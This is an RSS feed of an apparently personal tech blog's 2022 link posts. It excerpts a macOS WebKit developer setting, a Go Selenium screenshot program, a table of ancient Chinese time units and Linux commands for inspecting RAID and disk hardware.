<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>2022 on Ricky</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/</link><description>Recent content in 2022 on Ricky</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Wed, 28 Dec 2022 12:36:00 +0800</lastBuildDate><atom:link href="https://9855cc0f.linzeyan.pages.dev/posts/2022/index.xml" rel="self" type="application/rss+xml"/><item><title>Terraform Provider Development Notes</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221228-terraform-provider-development/</link><pubDate>Wed, 28 Dec 2022 12:36:00 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221228-terraform-provider-development/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://hazel.style/2022/12/06/Terraform-Provider-Development/" target="_blank" rel="noopener">Terraform Provider Development Notes&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Inspecting Web Views in macOS</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221202-inspecting-web-views-in-macos/</link><pubDate>Fri, 02 Dec 2022 13:51:24 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221202-inspecting-web-views-in-macos/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.jim-nielsen.com/2022/inspecting-web-views-in-macos/" target="_blank" rel="noopener">Inspecting Web Views in macOS&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>defaults write -g WebKitDeveloperExtras -bool YES
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Take Screenshots with Selenium in Go</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221202-go-selenium/</link><pubDate>Fri, 02 Dec 2022 13:40:19 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221202-go-selenium/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dmesg.app/go-selenium.html" target="_blank" rel="noopener">Take Screenshots with Selenium in Go&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span> &lt;span style="color:#e6db74">&amp;#34;github.com/sirupsen/logrus&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/tebeka/selenium&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io/ioutil&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chromeDriverPath&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;/usr/local/bin/chromedriver&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">port&lt;/span> = &lt;span style="color:#ae81ff">9515&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">opts&lt;/span> []&lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">ServiceOption&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">SetDebug&lt;/span>(&lt;span style="color:#66d9ef">false&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">service&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">NewChromeDriverService&lt;/span>(&lt;span style="color:#a6e22e">chromeDriverPath&lt;/span>, &lt;span style="color:#a6e22e">port&lt;/span>, &lt;span style="color:#a6e22e">opts&lt;/span>&lt;span style="color:#f92672">...&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>) &lt;span style="color:#75715e">// panic is used only as an example and is not otherwise recommended.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">service&lt;/span>.&lt;span style="color:#a6e22e">Stop&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">caps&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">Capabilities&lt;/span>{&lt;span style="color:#e6db74">&amp;#34;browserName&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;chrome&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Full-page screenshot&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Get page width/height, resize the browser window, then take a screenshot.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Note: only headless mode allows arbitrary window sizes; otherwise the max height cannot exceed your screen resolution.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// chromeCaps := chrome.Capabilities{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Path: &amp;#34;&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Args: []string{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// &amp;#34;--headless&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// },&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// caps.AddChrome(chromeCaps)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wd&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">NewRemote&lt;/span>(&lt;span style="color:#a6e22e">caps&lt;/span>, &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;http://localhost:%d/wd/hub&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">port&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Quit&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// ExecuteScript can run JavaScript. The return value is interface{}, so assert to float then convert to int.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// height, _ := wd.ExecuteScript(&amp;#34;return document.body.parentNode.scrollHeight&amp;#34;, nil)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// var realHeight = int(height.(float64))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Then set the window size.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// wd.ResizeWindow(&amp;#34;&amp;#34;, 1920, realHeight)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Get&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;https://github.com/tgbot-collection/archiver&amp;#34;&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">screenshot&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Screenshot&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Errorln&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ioutil&lt;/span>.&lt;span style="color:#a6e22e">WriteFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;screenshot.png&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">screenshot&lt;/span>, &lt;span style="color:#ae81ff">0644&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="full-page-screenshot">Full-page screenshot&lt;/h5>
&lt;p>Get the page width/height, resize the browser window accordingly, and then take the screenshot. Note that only headless mode allows arbitrary window sizes; otherwise the maximum height cannot exceed your display resolution.&lt;/p></description></item><item><title>Ancient Time Units</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221129-ancient-time-unit/</link><pubDate>Tue, 29 Nov 2022 11:21:02 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221129-ancient-time-unit/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://wywu.pixnet.net/blog/posts/1022354528" target="_blank" rel="noopener">Ancient Time Units&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="twelve-double-hour-time-reference">Twelve Double-Hour Time Reference&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Time Period&lt;/th>
&lt;th>Ancient Name&lt;/th>
&lt;th>Modern Time&lt;/th>
&lt;th>Initial / Exact Time&lt;/th>
&lt;th>Other Names (full)&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>子時&lt;/td>
&lt;td>夜半&lt;/td>
&lt;td>23:00-01:00&lt;/td>
&lt;td>子初 23:00&lt;br>子正 00:00&lt;/td>
&lt;td>子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>丑時&lt;/td>
&lt;td>雞鳴&lt;/td>
&lt;td>01:00-03:00&lt;/td>
&lt;td>丑初 01:00&lt;br>丑正 02:00&lt;/td>
&lt;td>荒雞&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>寅時&lt;/td>
&lt;td>平旦&lt;/td>
&lt;td>03:00-05:00&lt;/td>
&lt;td>寅初 03:00&lt;br>寅正 04:00&lt;/td>
&lt;td>平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>卯時&lt;/td>
&lt;td>日出&lt;/td>
&lt;td>05:00-07:00&lt;/td>
&lt;td>卯初 05:00&lt;br>卯正 06:00&lt;/td>
&lt;td>日上、日生、日升、日始、日晞、旭日、破曉&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>辰時&lt;/td>
&lt;td>食時&lt;/td>
&lt;td>07:00-09:00&lt;/td>
&lt;td>辰初 07:00&lt;br>辰正 08:00&lt;/td>
&lt;td>早食、宴食、蚤食&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>巳時&lt;/td>
&lt;td>隅中&lt;/td>
&lt;td>09:00-11:00&lt;/td>
&lt;td>巳初 09:00&lt;br>巳正 10:00&lt;/td>
&lt;td>日隅、禺中、日禺&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>午時&lt;/td>
&lt;td>日中&lt;/td>
&lt;td>11:00-13:00&lt;/td>
&lt;td>午初 11:00&lt;br>午正 12:00&lt;/td>
&lt;td>日正、日午、日高、正午、中午、亭午、日當午、平午、平晝&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>未時&lt;/td>
&lt;td>日昳&lt;/td>
&lt;td>13:00-15:00&lt;/td>
&lt;td>未初 13:00&lt;br>未正 14:00&lt;/td>
&lt;td>日昃、日仄、日側、日跌、日斜、日映、日央&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>申時&lt;/td>
&lt;td>晡時&lt;/td>
&lt;td>15:00-17:00&lt;/td>
&lt;td>申初 15:00&lt;br>申正 16:00&lt;/td>
&lt;td>餔時、日餔、日晡、日鋪、日稷、日夕、夕食&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>酉時&lt;/td>
&lt;td>日入&lt;/td>
&lt;td>17:00-19:00&lt;/td>
&lt;td>酉初 17:00&lt;br>酉正 18:00&lt;/td>
&lt;td>日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>戌時&lt;/td>
&lt;td>黃昏&lt;/td>
&lt;td>19:00-21:00&lt;/td>
&lt;td>戌初 19:00&lt;br>戌正 20:00&lt;/td>
&lt;td>日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>亥時&lt;/td>
&lt;td>人定&lt;/td>
&lt;td>21:00-23:00&lt;/td>
&lt;td>亥初 21:00&lt;br>亥正 22:00&lt;/td>
&lt;td>定昏、夤夜&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="night-watches">Night Watches&lt;/h5>
&lt;p>In the Han dynasty, palace guards rotated in five shifts called &amp;ldquo;five watches&amp;rdquo;. Thus, a night was divided into five watches, each equal to one time period (double-hour). Xu time is the first watch, Hai time is the second, Zi time the third, Chou time the fourth, and Yin time the fifth.&lt;/p></description></item><item><title>How to Detect RAID Information in Linux</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221128-raid-information-command-line/</link><pubDate>Mon, 28 Nov 2022 15:36:27 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221128-raid-information-command-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/raid-information-command-line" target="_blank" rel="noopener">How to Detect RAID Information in Linux&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="lspci">lspci&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lspci | grep RAID
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00:1f.2 RAID bus controller: Intel Corporation &lt;span style="color:#ae81ff">82801&lt;/span> Mobile SATA Controller &lt;span style="color:#f92672">[&lt;/span>RAID mode&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">(&lt;/span>rev 04&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="lshw">lshw&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lshw -class storage
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> *-raid
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: RAID bus controller
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> product: &lt;span style="color:#ae81ff">82801&lt;/span> Mobile SATA Controller &lt;span style="color:#f92672">[&lt;/span>RAID mode&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vendor: Intel Corporation
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> physical id: 1f.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bus info: pci@0000:00:1f.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> logical name: scsi0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version: &lt;span style="color:#ae81ff">04&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> width: &lt;span style="color:#ae81ff">32&lt;/span> bits
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> clock: 66MHz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> capabilities: raid msi pm bus_master cap_list emulated
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> configuration: driver&lt;span style="color:#f92672">=&lt;/span>ahci latency&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resources: irq:26 ioport:f0d0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> ioport:f0c0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>4&lt;span style="color:#f92672">)&lt;/span> ioport:f0b0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> ioport:f0a0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>4&lt;span style="color:#f92672">)&lt;/span> ioport:f060&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>32&lt;span style="color:#f92672">)&lt;/span> memory:f7e36000-f7e367ff
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="smartctl">smartctl&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dmesg | grep -i scsi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 0.210852&lt;span style="color:#f92672">]&lt;/span> SCSI subsystem initialized
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 0.341280&lt;span style="color:#f92672">]&lt;/span> Block layer SCSI generic &lt;span style="color:#f92672">(&lt;/span>bsg&lt;span style="color:#f92672">)&lt;/span> driver version 0.4 loaded &lt;span style="color:#f92672">(&lt;/span>major 243&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 1.213299&lt;span style="color:#f92672">]&lt;/span> scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: &lt;span style="color:#ae81ff">0&lt;/span> ANSI: &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 1.319886&lt;span style="color:#f92672">]&lt;/span> sd 0:0:0:0: &lt;span style="color:#f92672">[&lt;/span>sda&lt;span style="color:#f92672">]&lt;/span> Attached SCSI disk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 19.571008&lt;span style="color:#f92672">]&lt;/span> sd 0:0:0:0: Attached scsi generic sg0 type &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>smartctl --all /dev/sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Model Family: Seagate Laptop HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device Model: ST320LT012-9WS14C
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Serial Number: S0V3R9LL
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>LU WWN Device Id: &lt;span style="color:#ae81ff">5&lt;/span> 000c50 05be4653c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Firmware Version: 0001YAM1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User Capacity: 320,072,933,376 bytes &lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#ae81ff">320&lt;/span> GB&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sector Sizes: &lt;span style="color:#ae81ff">512&lt;/span> bytes logical, &lt;span style="color:#ae81ff">4096&lt;/span> bytes physical
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Rotation Rate: &lt;span style="color:#ae81ff">5400&lt;/span> rpm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Form Factor: 2.5 inches
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device is: In smartctl database 7.3/5319
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ATA Version is: ATA8-ACS T13/1699-D revision &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SATA Version is: SATA 2.6, 3.0 Gb/s &lt;span style="color:#f92672">(&lt;/span>current: 3.0 Gb/s&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Local Time is: Sat Nov &lt;span style="color:#ae81ff">19&lt;/span> 20:52:01 &lt;span style="color:#ae81ff">2022&lt;/span> PKT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMART support is: Available - device has SMART capability.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMART support is: Enabled
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="megacli">MegaCLI&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>megacli -LDInfo -Lall -aALL
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Adapter &lt;span style="color:#ae81ff">0&lt;/span> -- Virtual Drive Information:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Virtual Drive: &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">(&lt;/span>Target Id: 0&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name : SEAGATE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Size : &lt;span style="color:#ae81ff">320&lt;/span> GB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sector Size : &lt;span style="color:#ae81ff">512&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Mirror Data : &lt;span style="color:#ae81ff">320&lt;/span> GB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>State : Optimal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="lsscsi">lsscsi&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lsscsi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>0:0:0:0&lt;span style="color:#f92672">]&lt;/span> disk ATA ST320LT012-9WS14 YAM1 /dev/sda
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="vendor-specific-tools">Vendor-Specific Tools&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>omreport storage vdisk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>List of Virtual Disks in the System
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Controller SEAGATE Laptop HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ID : &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Status : Ok
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name : SEAGATE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>State : Ready
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hot Spare Policy violated : Not Assigned
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Encrypted : No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Layout : RAID-0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Size : 320.00 GB &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">343597383680&lt;/span> bytes&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>T10 Protection Information Status : No
